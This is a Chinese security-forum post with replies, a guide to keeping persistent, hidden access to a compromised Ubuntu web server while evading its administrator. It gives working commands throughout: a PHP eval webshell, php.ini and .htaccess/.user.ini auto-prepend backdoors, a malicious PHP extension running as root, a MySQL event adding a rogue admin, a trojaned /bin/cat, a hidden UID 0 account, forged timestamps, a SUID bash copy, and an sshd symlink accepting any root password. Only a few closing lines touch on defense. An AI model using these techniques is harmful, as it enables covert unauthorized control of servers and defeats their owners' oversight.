用户
搜索
  • TA的每日心情

    2019-1-23 14:43
  • 签到天数: 3 天

    连续签到: 1 天

    [LV.2]偶尔看看

    i春秋-见习白帽

    k0nJAc

    Rank: 3Rank: 3

    2

    主题

    57

    帖子

    264

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2017-5-10
    发表于 2019-1-23 09:29:06 3213858
    本帖最后由 tllm 于 2019-1-23 10:45 编辑

    如何和管理员玩躲猫猫/权限维持

    • 有些时候,当你对于一个服务器getshell以后,例如有一个webshell,但是可能被对方的管理员发现,在发现之前我们有什么办法让自己的后门藏起来呢,方便被删权限以后再次控制机器 都是基本操作 别笑我 求求你们了

    本文环境

    ubuntu 16.04 + php + mysql
    另外不同操作基于不同权限 有可能是root 有可能是webserver的权限

    Webshell/Web

    >* 基于web服务的一句话下和管理员进行的捉迷藏

    一个最简单的webshell一句话

    1.藏于一些对方的文件下,比如upload/image/等文件夹里夹带着大量文件的文件夹

    1.你可以直接写成php后缀的文件 当然 这很容易被发现
    2.可以利用htaccess文件进行重写
    在我的环境下(上文提及) 默认是不开启rewrite
    ps:我以前是在的centos之类的做的多 ubuntu我还找了一下配置文件

    sudo a2enmod rewrite
    sudo vim /etc/apache2/sites-enabled/000-default
    #将/var/www 下的AllowOverride None 修改为 AllowOverride All,如果没有看到这项内容,可以修改apache2.conf配置文件:
    sudo vim /etc/apache2/apache2.conf
    sudo /etc/init.d/apache2 restart

    基于htaccess bakcdoor操作的有很多我也是抛砖引玉

    弊端

    • 虽然说大部分网站都是会主动开启rewrite 但是还是怕脸黑 如果需要开rewrite 是需要root权限重启服务的 而且修改的配置文件多 动静大
    • 越来越多的管理员有安全意识 类似存放Img文件 doc文件会开启禁止执行的权限限制

    优点:

    • 虽然也不算什么优点 但还是说说
    • .htaccess 在linux中是.开头 属于隐藏文件 ls可能还没看见  
    • 如果在一个正常的图片中插入代码可能更难发现
    img code
     <phpwebshell>
    img code
    • 权限在不用开启rewrite的情景下 只用webserver
    • 另外 如果文件名最好是符合同文件夹下的命名规则 例如xxx时间撮.jpg 这样子管理员追查日志更难找到 而不是醒目的1.jpg konjac.jpg xxx.jpg....
    • 暂时想不到 loading....还有关于这种操作的技巧希望还有大佬们讲讲

    2.藏于php.ini

    • php.ini是php的配置文件 可以用来控制php的某些功能  在这个文件上可以做很多操作

    举个例子
    在/etc/php7.0/apache2/php.ini中 (本文测试环境,以后的路径都不再说明)

    ; Automatically add files before PHP document.
    ; http://php.net/auto-prepend-file
    auto_prepend_file =
    
    ; Automatically add files after PHP document.
    ; http://php.net/auto-append-file
    auto_append_file =

    其中有这样子的2个配置
    auto_prepend_file =
    auto_append_file =
    根据注释可以看明白 一个是在php文档之前自动添加文件。一个是在php文档后自动添加文件。

    我们来实验一下
    修改php.ini文件 这个参数是受到include_path限制的 所以我们给这2个参数进行修改 我这里放在了网站目录 你也可以放在别的php有权限的地方更加隐蔽 比如/tmp /etc/php/xxx/等等

    修改参数以后我一直重启php发现没有生效 然后才知道是重启apache
    重启以后访问一个文件

    的确是在test.php 前面自动include了一个文件

    然后我们延伸一下 自php5.3开始 php支持基于每个目录的.htaccess风格的ini文件 说的通俗点 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

    当然了 不是php.ini所有的设置你都可以做操作 是有具体模式的

    PHP_INI_USER 可在用户脚本(例如 ini_set())或 Windows 注册表(自 PHP 5.3 起)以及 .user.ini 中设定
    PHP_INI_PERDIR    可在 php.ini,.htaccess 或 httpd.conf 中设定
    PHP_INI_SYSTEM    可在 php.ini 或 httpd.conf 中设定
    PHP_INI_ALL    可在任何地方设定

    具体模式可以看官方的文档http://php.net/manual/zh/ini.list.php

    实际上 除了 php_ini_system 别的都可以利用 .user.ini控制
    一开始我的.user.ini一直未生效 以为是有300秒的生效时间 结果发现是

    不管是 nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法

    apache 一般不是fastcgi 得装模块 为了节省时间我就用.htaccess来实验
    注意.htaccess的写法 有点不一样

    只是一些很多年前就有的操作了 希望有大佬们多分享一下

    优点

    • 可以知道 我们只要有webserver的权限就kyii通过.htaccess/.user.ini来控制所有的php文件包含后门
    • 动静不大 动的东西不多

    弊端:

    • 隐藏性不高 有经验的人都能发现

    待补充....

    3.制作.so扩展后门

    • PHP扩展简介
      PHP扩展库(在Linux中为.so,在Windows中为.dll),它们提供了添加可以从执行的PHP脚本调用的新函数集的可能性。扩展可以使用php.ini文件中的定义自动加载,参数名为“extension”; 或者使用函数dl()从将要执行的PHP脚本代码动态执行 另外刚刚去看了看官方手册 dl函数已经在新版本删了

    0x01:
    http://cn2.php.net/distributions/
    先去下载一个php下来 然后解压

    $ cd phpxxx/
    $ ./configure 
    $ make
    $ cd etx
    $ ./etx_skel --extname=konjac          # [backdoorname]
    $ cd konjac

    在创建的文件中,有一个konjac.c文件 然后这里写明几点

    • PHP_FUNCTION() 是用来 将被导出 以便用来 从php中执行的函数 这里可以定义所需要的新功能。
    • PHP_MINT_FUNCTION() 每当php解析器启动时,都会执行你利用这个注册的代码,还有一个就是 你添加的代码都是root身份执行的,是一种使用特权执行代码的方法。
    • PHP_MSHUTDOWN_FUNCTION() 这个代码是应该在停止php解析器之前执行的 看这个shutdown的单词就猜到了
    • PHP_RINT_FUNTION() 这个是在php文件执行启动时执行
    • PHP_RSHUTDOWN_FUNCTION()  这个是在php文件执行结束时执行。
    • PHP_MINFO_FUNCTION() 这个是以phpinfo的形式显示。用来检测扩展是否正确加载。

    我们打开config.m4这个文件 取消下面三行的注释

    #这里的注释不是# 是dnl
     PHP_ARG_ENABLE(backdoor, whether to enable backdoor support,
     Make sure that the comment is aligned:
     [  --enable-backdoor           Enable backdoor support])

    然后顺手改改konjac.c里面的代码 看看测试效果

    PHP_MINFO_FUNCTION(konjac)
    {
       php_info_print_table_start();
       php_info_print_table_header(2, "konjac test hack", "enabled");
       php_info_print_table_end();
    }

    修改保存以后执行

    $ phpize # 如果没有 apt-get install phpiz
    $ ./configure
    $ make

    成功的效果图:

    然后修改php.ini

    extension=/tmp/konjac.so

    我测试了3个小时 自己给自己挖了个坑 发现网上大多是php5的扩展编译资料 没看到php7的 一直不知道为何get或者post的参数获取不到 后来想了想 我都能编译扩展库了 system函数一把梭
    在konjac.c中添加如下demo测试代码

    这样子我每次访问php文件就会执行这个代码

    $ cat /tmp/konjac
    konjac

    另外 这里时间关系就不演示了  说明几点
    可能说这个动的文件多 但是这里操作空间很大
    比如 php.ini加载是加载一次的 所以我们可以
    利用PHP_MINT_FUNCTION(是root权限)在php开启的时候把php.ini里面的extension删除 然后修改时间撮
    利用PHP_MSHUTDOWN_FUNCTION在php服务关闭的时候把php.ini里面的extension加回来 然后修改时间撮 但是如果对方不是重启 只关闭就可以发现了 想想还有什么骚操作?抛砖引玉

    顺便记一个东西
    zend_eval_string是在c语言中执行php代码

    int zend_eval_string ( char* str, zval* retval_ptr, char* string_name, magic TSRMLS_DC )
    第一个参数是字符串型的,就是要执行的PHP代码。 
    第二个是返回的值,因为是zval型的,所以得先做下初始化,直接操作return_value这个变量是可以直接返回给外面调用的PHP的。 
    第三个也是字符串,可以随便写,出错了提示地方的,后面接一个变态宏TSRMLS_CC。 
    例如:
    zend_eval_string("phpinfo();",return_value,"konjac" TSRMLS_DC);

    还有不死马 写进内存 php定时任务之类的 就先不说了。网上都有很多很多总计
    web方面的大概写在这里 有点累 其实都是一些老操作 大佬们笑笑就好了

    基于MYSQL

    1. mysql定时任务

    create procedure konjac_test() begin insert into test.admin(admin_user,admin_passwd) values('hackuser','123456'); end //创建一个存储过程 
    create event e_konjac on schedule every 60 second on completion preserve disable do call konjac_test(); 创建一个定时任务 60秒执行一次存储过程 当然了 我个人觉得一天最好 
    alter event e_konjac on completion preserve enable; //开启定时任务
    alter event e_konjac on completion preserve disable; //关闭定时任务


    也可以写文件 或者执行系统命令之类的 反正都是mysql语句 不一一描述

    基于linux文件

    • linux的功能性强 操作空间也特别大

    crontab 定时任务

    crond 是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务 工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。

    ubuntu的情景下

    #ubuntu和cetnos等服务器可能命令有所差异
    crontab -e 
    #在最后一行添加你要执行的定时任务
    #每分钟执行一次命令
    */1 * * * * echo konjac >> /tmp/crontabtest
    #退出来以后 service cron restart
    可以看出是能成功执行的 至于怎么操作定时任务就是发挥你的脑动啦 或者想想如何让人不发现你的定时任务
    konjac@konjac-CN15S:/var/spool/cron$ cat /tmp/crontabtest 
    konjac
    konjac
    konjac
    konjac
    konjac
    konjac

    如何让管理员执行我们的命令

    比如我们执行一个命令

    cat xxx

    是等同于

    /bin/cat xxx

    那么我们如果在/bin/cat 里面藏后门呢

    mv /bin/cat /bin/back_cat #更改实际cat路径方便以后调用
    vim /bin/cat
    添加内容:
    echo "hello i am hackcode"
    /bin/back_cat

    然后执行cat test 结果发现成功打印hello i am hackcode 但是一直在输入的状态
    是因为没有参数传给back_cat 所以我们可以利用$1 获取shell的参数来传给back_cat

    vim /bin/cat
    添加内容:
    echo "hello i am hackcode"
    /bin/back_cat $1 

    执行

    ~ cat /var/www/html/shell.php 
    hello i am hackcode
    <?php
    eval($_REQUEST['konjac']);
    ?>

    然后又思考了一下 如果屌丝管理员cat 2个文件 或者别的命令有别的参数呢

    #vim /bin/cat
    echo "hello i am hackcode"
    for i in "$*";do
            /bin/back_cat $i
    done

    执行

    ~$ cat shell.php test.php 
    hello i am hackcode
    <?php
    eval($_REQUEST['konjac']);
    ?>
    <?php
    echo "hello i am test";
    ?>

    是成功执行了cat的作用和实现执行自己的命令的

    另外一些命令记录一下

    Linux/Unix 添加 UID 为 0 的用户(肯定是要root权限的啦)

    useradd -o -u 0 backdoor
    然后去/etc/passwd /etc/shadow中把最后一行 属于backdoor的信息 移到中间 迷惑管理员的眼睛
    虽然一个cat /etc/passwd|grep :0的事情 但是说不定可以骗骗半桶水

    修改时间撮

    语法:touch -t +时间撮
    konjac@konjac-CN15S:/var/www/html$ sudo touch -t 1401010101.01 konjac.php
    ps:前几个星期听某师傅说某公司的检测后门基于时间撮 我也是醉了 哈哈

    添加bash后门

    root:~# cp /bin/bash /tmp/.bash
    root:~# chmod u+s /tmp/.bash
    test@konjac-CN15S:$ /tmp/.bash -p
    .bash-4.3# id
    uid=1001(test) gid=1002(test) euid=0(root) 组=1002(test)
    .bash-4.3# 

    添加ssh后门

    ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
    执行这个命令以后 ssh这个服务器5555端口 任意密码既可登录root

    .bashrc

    ~/.bashrc中每次打开新的shell都会自动执行命令

    还有LINUX pam 后门 linux openssh后门 rookit后门 各种各样的藏后门 我依稀记得一年前有个师傅还能在ssh的config里面藏后门 基于密钥的那种  手法太多了 说三天三夜也说不完

    综上所述:

    思考与对抗

    • 是否可以建立一个linux所有文件的hash对照表 检测什么文件发生了变化 以至于 管理员进行检测
    • 多对系统进行备份
    • 也是一些比较简单的操作 但是如果混合起来运用 可以恶心管理员的  如果你熟练掌握以后 再加上一些骚操作
    • 触类旁通:比如cat 或者 vi 会不会遇到哪种字符会终止 遭到截断 有什么文件 在shell情景下较难删除
    • 如何让自己的动静小 尽最大努力保持文件hash 不变 时间撮不变
    • 如何清理自己操作的日志
    • 如何记录hack操作的日志

    藏考资料:

    http://www.baidu.com
    http://www.google.com


    游客,如果您要查看本帖隐藏内容请回复





    评分

    参与人数 1魔法币 +10 收起 理由
    zzconfig + 10 我回来了

    查看全部评分

    E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限E: 如何和管理员玩躲猫猫/权限
    使用道具 举报 回复
    还有LINUX pam 后门 linux openssh后门 rookit后门 各种各样的藏后门 我依稀记得一年前有个师傅还能在ssh的config里面藏后门 基于密钥的那种  手法太多了 说三天三夜也说不完
    使用道具 举报 回复
    很强                                    
    使用道具 举报 回复
    发表于 2019-1-23 18:59:50
    顺便提一个 如何基于root权限 利用这些操作感染一个linux 还删都删不干净那种
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫大叔 这个网络他曾来过
    使用道具 举报 回复
    发表于 2019-1-23 11:14:27
    顺便提一个 如何基于root权限 利用这些操作感染一个linux 还删都删不干净那种
    使用道具 举报 回复
    发表于 2019-2-25 16:28:05
    来,跟我念:时(shi)间(jian)戳(chuo),不是时间撮 cuo。。。
    该会员没有填写今日想说内容.
    使用道具 举报 回复
    刚好最近在找关于后门的资料
    使用道具 举报 回复
    tqltqltqltqltqltqltql
    使用道具 举报 回复
    66666666666666666
    使用道具 举报 回复
    发表于 2019-1-23 15:00:49
    6666666666666
    使用道具 举报 回复
    发表于 2019-1-23 15:09:20
    666666666666666666666
    使用道具 举报 回复
    发表于 2019-1-23 15:09:38
    666666666666666666
    使用道具 举报 回复
    6666666666666666
    使用道具 举报 回复
    发表于 2019-1-23 20:39:42
    隐写后门会不会更好?
    使用道具 举报 回复
    发表于 2019-1-25 09:48:55
    学习了 嘿嘿
    使用道具 举报 回复
    发表于 2019-1-25 11:07:10
    看看隐藏了什么东西啊
    使用道具 举报 回复
    发表于 2019-1-25 13:28:04
    学习学习
    使用道具 举报 回复
    厉害了!!!!!!!
    使用道具 举报 回复
    123下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册